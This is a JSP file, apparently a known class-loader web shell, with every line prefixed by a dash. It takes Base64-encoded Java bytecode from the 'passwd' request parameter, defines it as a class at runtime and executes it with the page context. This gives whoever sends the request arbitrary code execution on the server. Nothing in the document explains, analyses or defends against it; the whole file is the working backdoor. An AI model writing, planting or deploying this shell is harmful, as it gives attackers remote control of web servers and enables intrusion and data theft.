- <%!
- class U extends ClassLoader {
- U(ClassLoader c) {
- super(c);
- }
- public Class g(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
-
- public byte[] base64Decode(String str) throws Exception {
- try {
- Class clazz = Class.forName("sun.misc.BASE64Decoder");
- return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
- } catch (Exception e) {
- Class clazz = Class.forName("java.util.Base64");
- Object decoder = clazz.getMethod("getDecoder").invoke(null);
- return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
- }
- }
- %>
- <%
- String cls = request.getParameter("passwd");
- if (cls != null) {
- new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
- }
- %>
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